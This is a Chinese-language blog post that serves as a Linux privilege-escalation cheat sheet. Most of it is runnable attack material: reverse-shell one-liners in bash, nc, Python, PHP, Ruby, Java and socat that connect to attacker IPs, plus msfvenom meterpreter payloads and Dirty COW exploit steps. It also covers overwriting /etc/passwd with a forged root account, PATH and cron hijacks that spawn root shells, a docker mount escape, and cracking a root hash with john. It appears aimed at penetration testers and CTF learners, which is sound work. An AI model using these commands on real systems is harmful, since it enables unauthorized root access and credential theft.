Linux提取篇

常用命令

uname -a #查看内核/操作系统/cpu信息

hend -n 1 /etc/issue #查看操作系统版本

cat /proc/version #查看系统信息

hostname #查看计算机名

env #查看环境变量

ifconfig #查看网卡

netstat -lntp # 查看所有监听端口

netstat -antp # 查看所有已经建立的连接

netstat -s # 查看网络统计信息

iptables -L #查看防火墙设置

route -n # 查看路由表

ps -ef # 查看所有进程

top # 实时显示进程状态

w # 查看活动用户

id # 查看指定用户信息

last # 查看用户登录日志

cut -d: -f1 /etc/passwd # 查看系统所有用户

cut -d: -f1 /etc/group # 查看系统所有组

crontab -l # 查看当前用户的计划任务

chkconfig –list # 列出所有系统服务

chkconfig –list | grep on # 列出所有启动的系统服务

echo $PATH #查看系统路径

反弹SHELL命令

bash反弹

bash -i >& /dev/tcp/ip_address/port 0>&1
bash -c "bash -i >& /dev/tcp/192.168.0.189/6666 0>&1"
bash -c "bash -i >& /dev/tcp/192.168.0.189/6666 0>&1"

nc反弹

nc -e /bin/sh 192.168.2.130 4444

#但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

#利用6666端口传入内容交给bash执行,再将内容从7777送出去,管道符的用法。可以在阉割功能的nc上使用。
nc 127.0.0.1 6666|/bin/bash|nc 127.0.0.1 7777

#针对某些mips架构的路由器&busybox终端的系统
#锐捷
mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | nc 127.0.0.1 6666 1>/tmp/backpipe1
#飞鱼星反弹shell
mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | /bin/busybox nc 127.0.0.1 6666 1>/tmp/backpipe1


python反弹

import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.2.130" , 4444 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])

php反弹shell

php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)'

java反弹shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm反弹shell

xterm -display 10.0.0.1:1

获取完整交互式SHELL

python伪终端

终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行

python -c 'import pty;pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

socat

下载地址:https://github.com/andrew-d/static-binaries

#监听:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#上传socat启动:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
或
#下载socat启动:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

stty

  • 获取当前kali的终端信息
echo $TERM
stty -a

  • 获取一个伪终端
python -c 'import pty; pty.spawn("/bin/bash")'

ctrl+z  #将伪终端放置后台任务 
stty -echo raw 	#设置原始格式
fg	#再调用后台任务(输入时无显示)
reset	#初始化

  • 设置终端属性为kali的信息
export SHELL=bash
export TERM=xterm-256color
stty rows 36 columns 180

SHELL环境问题

解决命令 'ifconfig' 可在 '/sbin/ifconfig' 处找到,由于/sbin 不在PATH 环境变量中,故无法找到该命令。
这很可能是由您的用户账户没有管理员权限造成的。ifconfig:未找到命令

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Linux内核漏洞提权

​ 通常我们在拥有一个webshell的时候,一般权限都是WEB容器权限,如在iis就是iis用户组权限,在 apache 就是apache权限,一般都是权限较低,均可执行一些普通命令,如查看当前用户,网络信息, ip信息等。如果我想进行内网渗透就必须将权限提权到最高,如系统权限 超级管理员权限。

内核溢出提权

利用堆栈溢出漏洞,根据当前系统 寻找对应的漏洞的exp,使用exp对其进行提权。

uname -a 	#查看内核/操作系统/cpu信息
cat /proc/version #内核信息
cat /etc/issue	  #发行信息
cat /etc/redhat-release #发行信息
lsb_release -a	   #显示发行版本信息

根据linux的内核版本查找对应的exp

searchsploit -t Ubuntu 14.04 #只利用标题搜索
searchsploit -s Ubuntu 14.04 #执行严格搜索,禁止对版本范围进行模糊搜索
searchsploit -s Linux Kernel 3.13.0
searchsploit -x linux/local/37088.c #检查或打开漏洞
searchsploit -m linux/local/37088.c #将一个漏洞复制到当前的工作目录
wget http://192.168.86.134/37088.c -O /tmp/37088.c
gcc 37088.c -o exp
chmod +x exp
./exp

脏牛提权 CVE-2016-5195

​ 该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以 破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的 写权限,进一步获取 root 权限。

测试环境: ubuntu 14.04

EXP下载: 肮脏的牛 (CVE-2016-5195) (dirtycow.ninja)

wget http://192.168.86.134/dirty.c -O /tmp/dirty
gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
./dirty 123456
mv /tmp/passwd.bak /etc/passwd

metasploit linux提权

使用metasploit linux提权

生成攻击载荷

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.86.134 LPORT=12345 -f raw >
/var/www/html/shell.php

将后门文件直接上传或使用命令写入到目标可写web目录

file_put_contents('../tmp/msf.php',file_get_contents('http://192.168.86.134/shell.php'));

本地监听

use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.86.134
set lport 12345
exploit

当访问shell.php文件时就会获取一个session

提权命令

使用模块查询漏洞

run post/multi/recon/local_exploit_suggester

SUID提权

SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行 时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么 该执行程序运行的时候将拥有ROOT权限。

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。

root@linux:# ls -al /bin/ping
-rwsr-xr-x 1 root root 44168 May 7 2021 /bin/ping

查找SUID文件

以下命令可以发现系统上运行的所有SUID可执行文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

常见suid提权文件

nmap
vim
find
more
less
bash
cp
Nano
mv
awk
man
wget

更多可利用文件

https://gtfobins.github.io/

使用find提权

  • 执行命令
find . -exec /bin/bash -p \; -quit

-p : 让euid为0,权限为root 权限
默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将 euid(即 suid) 强制重置为uid 。如果使用了-p 参数,则不会再覆盖。

执行后成功获取到一个root权限的shell

使用wget提权

使用OpenSSL passwd 生成密码hack123

openssl passwd -1 -salt only hack123

$1$only$om5I1wouMB/Mgc5a3jI.w0

# -1 使用md5进行加密 

# 这个密码是加了salt这个随机数的密码。用$进行分隔的。这样,就不会让使用相同密码的用户得到同一个加密的值。 而在验证密码时,将用户输入的密码与salt(存在于shaodw文件对应用户行中的)组合,与加密密码进行一致性验证。
# -salt 指定字符串作为加密随机数

将目标的/etc/passwd文件内容下载或复制到本地,并将生成的密码以下面的格式进行追加

only:$1$only$om5I1wouMB/Mgc5a3jI.w0:0:0:/root:/bin/bash

passwd文件上传到自己的web服务器中

使用wget将passwd文件下载并覆盖目标主机原来的passwd文件

wget http://host/passwd -O /etc/passwd

ssh密钥提权

查看拥有bash的用户

cat /etc/passwd | grep bash

如果目标有使用id_rsa私钥进行登陆,并且我们有权限读取

可以将id_rsa下载或复制下来使用私钥进行登陆

环境变量劫持提权

​ PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

环境劫持需要的两个条件 存在带有suid的文件suid文件存在系统命令

且这个文件中必须有系统命令,这样我们就可以命名一个和这个系统命令相同的文件写入/bin/bash;

再将存放这个文件的路径加入环境变量中,当系统去执行这个带有系统命令的文件时;就会直接执行我们命名和这个系统命令相同的文件;而非真实的系统命令;从而实现劫持环境变量提权。

寻找suid文件

find / -perm -u=s -type f 2>/dev/null

此文件很可疑,执行并分析该文件

可以看到该文件执行调用了 ps命令

当我们无法查看源码,也不知道运行了什么命令时

可以使用xxd命令将文件转为十六进制,查看并分析会调用什么命令

xxd /script/shell

劫持环境变量

知道调用了什么命令,我们就可以创建一个 ps文件,内容为执行 /bin/bash

并将自建ps文件所在目录加入到环境变量中,当再执行/script/shell时,系统会在环境变量中依次查找

并首先查找并执行到我们自建的ps文件,从而返回一个带有root的shell,而非原本的查看进程

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
export PATH=/tmp:$PATH
echo $PATH
./script/shell

john破解root密文

john会自动检测密文类型

gzip -d /usr/share/wordlists/rockyou.txt.gz

john --wordlist="/usr/share/wordlists/rockyou.txt" userpasswd
root:$6$pp54zSwY$vA2POTSXBaFJHBO2Hu1FwmhZEJ.snbv0DMZtL2M.Xp20KXrJgsbFE4AIKh7bCth1VAPadhoBYonFOlDoFsgvD.:19040:0:99999:7:::

计划任务提权(cron Jobs)

​ 定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。

提权的前提是存在一个执行危险脚本的任务计划,并且这个任务计划执行的执行脚本可以被非root权限用户修改覆盖,并可以正常执行任务计划

信息收集

列出计划任务:

#/var/spool/cron/ 这个目录下存放的是每个用户包括root的crontab任务
ls -alh /var/spool/cron	
ls -al /etc/cron*
#查看当前登陆用户的计划任务
crontab -l

cat /etc/crontab
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root 

/var/spool/cron/crontabs/root 这个目录是root任务文件,没有root权限无法查看

pspy工具

下载地址:DominicBreuker/pspy:在没有 root 权限的情况下监控 linux 进程 (github.com)

由于无法查看root有哪些计划任务,我们可以使用pspy工具进行监控并分析进程

./pspy64

可以看到这里,每分钟都会执行一次cleanup.py这个文件

发现计划任务,我们可以去检测该文件是否存在一些可能导致权限提升的问题。

漏洞利用

查看文件权限发现拥有写的权限,直接修改或添加内容

#!/usr/bin/env python3
import os
import sys
try:
    os.system('rm -r /home/web1/cleanup/*')
except:
    sys.exit()

import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.86.134" , 6666 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])
    

本地监听6666端口,等待计划任务执行即可获取一个root权限的shell

提权脚本

LinEnum

下载地址:https://github.com/rebootuser/LinEnum

wget -O - http://192.168.86.134/LinEnum | bash

linux-exploit-suggester2

下载地址:https://github.com/jondonas/linux-exploit-suggester-2

自动检测

perl linux-exploit-suggester-2.pl

docker逃逸提权

原理

免sudo使用docker

​ 默认情况下使用docker必须要有sudo权限,对于一台机器多用户使用,只需要管理员将需要使用docker的用户添加到docker用户组(安装docker后默认会创建该组)中,用户重新登录机器即可免sudo使用docker了。

创建docker容器后,容器默认账户是root账户,可以更改容器内的所有配置

docker文件映射

我们在创建容器时,docker提供了 -v选项,提供用户将物理目录映射绑定进容器内,方便的进行容器内外的文件管理

借助 -v选项我们可以实现权限的突破进行提权。

提权利用

​ 这里模拟真实情况借助弱口令使用 only用户 登陆上了一台目标主机,此用户只拥有普通用户权限,但是管理员为了员工方便使用docker,将 only用户加入到了 docker用户组

使用docker的-v选项创建一个容器:

Alpine 操作系统是一个面向安全的轻型 Linux 发行版,相比于其他 Docker 镜像,它的容量非常小,仅仅只有 5 MB 左右

docker run -it --rm alpine  	#正常使用
docker run -it --rm -v /:/mnt alpine  	#异常使用

由于容器内用户默认是root,拥有超级管理员权限,所以我们将容器外的根目录映射到容器内的/mnt后,从而可以利用容器的root用户对 容器外的根目录进行任意修改,从而达到提权目的

docker run -it --rm -v /:/mnt alpine
echo "test:\$1\$only\$om5I1wouMB/Mgc5a3jI.w0:0:0:/root:/bin/bash" >> /mnt/etc/passwd

sudo提权

​ sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。

sudoer文件

root ALL=(ALL) ALL

root用户可以从ALL终端作为ALL(任意)用户执行,并运行ALL(任意)命令。

第一部分是用户,第二部分是用户可以在其中使用sudo命令的终端,第三部分是他可以充当的用户,最后一部分是他在使用时可以运行的命令。sudo

only ALL=(root) /bin/cat

以上命令,使用户可以从任何终端使用only的用户密码使用cat。

only ALL=(root) NOPASSWD: /bin/cat

使用户可以从任何终端运行,以root用户身份运行命令cat而无需密码

利用sudo用户

当获取到一个普通用户的密码,可以使用 sudo -l 查看是否拥有允许使用的命令

可以看到显示用户已允许以root身份执行 cat而无需密码。

cat命令无法让我们获取到shell,但是我们可以利用cat查看 /etc/shadow文件提取root的哈希进行破解

更多命令提权参考

https://gtfobins.github.io/

切换用户技巧

无需密码切换用户

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
setreuid(1000,1000);
execve("/bin/sh",NULL,NULL);
}
posted @ 2022-05-01 16:39  空于野  阅读(646)  评论(0编辑  收藏  举报